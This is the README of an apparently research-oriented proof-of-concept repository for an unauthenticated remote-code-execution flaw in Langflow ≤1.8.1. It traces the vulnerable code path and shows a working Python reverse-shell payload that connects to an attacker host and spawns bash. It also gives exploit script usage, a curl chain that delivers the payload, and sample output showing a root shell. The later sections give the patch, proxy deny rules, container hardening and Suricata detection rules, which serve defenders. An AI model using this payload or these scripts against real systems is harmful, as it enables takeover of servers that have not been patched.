
Exploit de PoC para um RCE não autenticado no Langflow <=1.8.1, incluindo análise de causa raiz no nível do código-fonte, payload de reverse shell ciente de AST, laboratório Docker, diff do patch e regras de detecção.
Aviso de isenção de responsabilidade
Este repositório foi criado para fins de pesquisa e educação em segurança.
Use apenas em ambientes de laboratório isolados.
O uso em sistemas não autorizados é passível de sanção penal por violação da Lei de Redes de Informação e Comunicação.
| Item | Descrição |
|---|
| CVE ID | CVE-2026-33017 |
| Software vulnerável | Langflow (construtor de fluxos de trabalho de IA) |
| Versões afetadas | Langflow ≤ 1.8.1 |
| Versão corrigida | Langflow ≥ 1.9.0 |
| Tipo de vulnerabilidade | Execução Remota de Código (RCE) sem autenticação |
| CWE | CWE-306 (Ausência de Autenticação para Função Crítica) |
| CVSS | 9.3 (Crítica) |
| CISA KEV | Listada |
POST /api/v1/build_public_tmp/{flow_id}/flow
Endpoint destinado à compilação de fluxos públicos, projetado para ser acessível sem autenticação.
Caminho de execução confirmado por rastreamento direto do código-fonte:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← recebe a entrada do cliente tal como está (vulnerabilidade)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← repassa os dados do cliente tal como estão
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← execução de código arbitrário
A função prepare_global_scope() não executa todas as declarações do código submetido. Após o parsing da AST, apenas tipos específicos de nós são selecionados e executados:
# lfx/custom/validate.py — interior de prepare_global_scope()
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ O nó Expr não é incluído em nenhum lugar → não é executado
exec(compiled_code, exec_globals) # executa apenas definitions
| Tipo de nó AST | Exemplo | Executado? |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Sim |
ClassDef | class ExploitComponent(Component) | ✅ Sim |
Assign | _r = os.system("id") | ✅ Sim |
AnnAssign | _r: int = os.system("id") | ✅ Sim |
Expr | os.system("id") (chamada avulsa) | ❌ Ignorado |
Conclusão: o payload precisa obrigatoriamente ser escrito na forma de
Assign(_r = ...) para ser executado.
Uma simples chamada de função (os.system("id")) é classificada como nóExpre é filtrada.
Durante o laboratório, diversas abordagens de payload foram testadas e a causa de cada falha foi identificada no nível do código-fonte.
subprocess.Popen + wait() (falhou)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← bloqueando aqui
Causa da falha: a thread de trabalho do Langflow monitora o valor de retorno do componente e, em caso de timeout, fecha o socket à força. O bloqueio _proc.wait() torna-se inútil.
os.execve() (falhou)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Causa da falha: de acordo com as regras POSIX, em um processo multithread, ao chamar execve(), todas as threads, exceto a thread que realizou a chamada, são encerradas → o worker do uvicorn inteiro trava → HTTP 500.
os.fork() + execve() (falhou)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Causa da falha: o uvicorn detecta o processo filho como encerrado de forma anormal e reinicia o worker → HTTP 500.
threading.Thread(daemon=True) (falhou)threading.Thread(target=_shell, daemon=True).start()
Causa da falha: uma thread com daemon=True é destruída junto com a thread principal (worker do Langflow) quando esta termina. A thread morre antes mesmo da tentativa de connect().
threading.Thread(daemon=False) + Assign# FunctionDef → executado
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → executado (como a chamada avulsa de Expr é excluída pelo filtro, é obrigatória a atribuição a uma variável)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Motivo da escolha de daemon=False:
daemon=True → é destruída junto com a thread de trabalho do Langflow quando esta terminadaemon=False → ciclo de vida independente do worker → permite manter a conexão de socketCVE-2026-33017/
├── README.md
├── Dockerfile # ambiente Langflow 1.8.1 vulnerável
├── Dockerfile.attacker # contêiner do atacante (inclui curl, nc, net-tools)
├── docker-compose.yml # servidor vulnerável + contêiner do atacante
├── entrypoint.sh # inicia o Langflow e cria automaticamente um fluxo público
├── exploit.py # PoC de reverse shell
└── poc.py # Blind RCE / verificação da existência da vulnerabilidade
# 1. Compilar e iniciar o contêiner
docker compose up --build
# 2. Verificar o acesso à interface web do Langflow
# http://localhost:7860
# admin / admin123!
# 3. Verificar o IP do contêiner
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (vítima) │
│ langflow-attacker 172.19.0.3 (atacante) │
└──────────────────────────────────────────────────┘
Execute dentro do contêiner do atacante:
docker exec -it langflow-attacker bash
# modo automático (obtenção de token + criação de fluxo público + listener integrado)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Opções:
| Opção | Descrição | Padrão |
|---|---|---|
--url | URL do Langflow alvo | Obrigatório |
--lhost | IP de callback do reverse shell | Obrigatório |
--lport | Porta de callback do reverse shell | Obrigatório |
--flow-id | UUID do fluxo público (criado automaticamente se omitido) | automático |
--user | ID do administrador | admin |
--password | Senha do administrador | admin123! |
--no-listen | Desativa o listener integrado (ao usar nc externo) | False |
--timeout | Timeout HTTP (segundos) | 30 |
Saída esperada:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] Fazendo login... (admin)
[*] Token obtido com sucesso
[*] Criando fluxo público...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] Listener iniciado → 0.0.0.0:4444
[*] Endpoint : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] Callback : 172.19.0.3:4444
[*] Enviando payload...
[*] Resposta HTTP: 200
[+] Shell conectado ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
Use para verificar apenas se a vulnerabilidade existe:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. Obter token + criar fluxo público
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. Listener nc (terminal 1)
nc -lvnp 4444
# 3. Enviar payload (terminal 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
| Item | exploit.py | poc.py |
|---|---|---|
| Objetivo | Obter reverse shell | Verificar a existência da vulnerabilidade (Blind RCE) |
| Confirmação do resultado | Direto no terminal do atacante | Logs do servidor / OOB |
| Listener | Integrado | Desnecessário |
| Múltiplos alvos | Não suportado | Suportado (--url-file) |
| Uso no laboratório | Provar o impacto | Provar a existência da vulnerabilidade |
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← recebe a entrada do cliente
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← repassa os dados do cliente diretamente para o pipeline de build
...
)
langflow/api/v1/chat.py (confirmado diretamente no código-fonte):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# data completamente removido da assinatura do parâmetro
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← None codificado diretamente, bloqueando totalmente a entrada do cliente
source_flow_id=flow_id, # ← carrega a definição do fluxo somente do banco de dados
...
)
| Item | 1.8.1 (vulnerável) | 1.9.1 (corrigido) |
|---|---|---|
Recebimento do parâmetro data | ✅ Recebe | ❌ Removido da assinatura |
| Execução da definição de nós do cliente | ✅ Possível | ❌ Impossível |
| Origem da definição do fluxo | Corpo da requisição do cliente | Somente valores salvos no banco |
| RCE sem autenticação | ✅ Bem-sucedida | ❌ Bloqueada |
| Resposta HTTP | 200 + shell conectado | 200 (build vazio, sem nós) |
O motivo pelo qual a abordagem de remover o próprio parâmetro, em vez de apenas validar a entrada, é a correta:
Design vulnerável: entrada do cliente → validação → execução (possibilidade de contornar a validação)
Design corrigido: entrada do cliente → completamente ignorada
apenas fluxo salvo no DB → execução (o vetor de ataque é removido por completo)
pip install langflow==1.9.1
Local do arquivo: nginx.conf (novo)
server {
listen 80;
# Bloqueia o endpoint vulnerável CVE-2026-33017
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Atenção: a exposição direta da porta 7860 do Langflow também deve ser bloqueada para que a medida seja eficaz.
Local do arquivo:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
Sem fluxos públicos, o endpoint retorna 404, impossibilitando o ataque.
Proíba a criação de fluxos públicos como política operacional ou altere os fluxos existentes para PRIVATE.
Com base em ambiente EC2:
Regras de entrada:
porta 7860 → permitir somente IPs autorizados (remover 0.0.0.0/0)
Mesmo que o RCE tenha sucesso, bloqueie o callback externo:
# bloqueia o tráfego de saída do contêiner langflow
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
ou docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
Bloqueie syscalls perigosas com um perfil seccomp (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
| Medida | Tipo | Efeito |
|---|---|---|
| Atualização para 1.9.1 | Solução definitiva | Remoção do parâmetro data |
| Bloqueio via Nginx/Apache | Bloqueio de acesso | Bloqueia o vetor de ataque |
| Não uso de fluxos públicos | Bloqueio de acesso | Endpoint retorna 404 |
| AWS Security Group | Bloqueio de rede | Bloqueia acesso externo na origem |
| Bloqueio de saída | Bloqueio pós-exploração | Bloqueia o callback do reverse shell |
| Hardening do contêiner | Minimização de danos | Bloqueio de privilégios/syscalls |
Requisição HTTP suspeita:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Padrões de log do servidor Langflow:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
Este repositório não se limita à execução de um PoC; por meio de análise em nível de código-fonte, os seguintes pontos adicionais foram identificados:
Descoberta da filtragem de nós AST
Confirmado por análise do código-fonte que prepare_global_scope() de lfx/custom/validate.py ignora nós Expr. Com isso, identificou-se por que o payload de simples chamada de função dos PoCs públicos existentes falha neste ambiente.
Análise das causas das falhas de payload
As causas das falhas de quatro abordagens — Popen+wait(), execve(), fork()+execve() e thread daemon=True — foram analisadas sob a perspectiva da estrutura multithread do uvicorn e das regras POSIX.
Confirmação direta do código do patch
O hardcoding de data=None e a remoção do parâmetro em chat.py da versão 1.9.1 foram confirmados no nível do código-fonte, analisando a intenção do design do patch.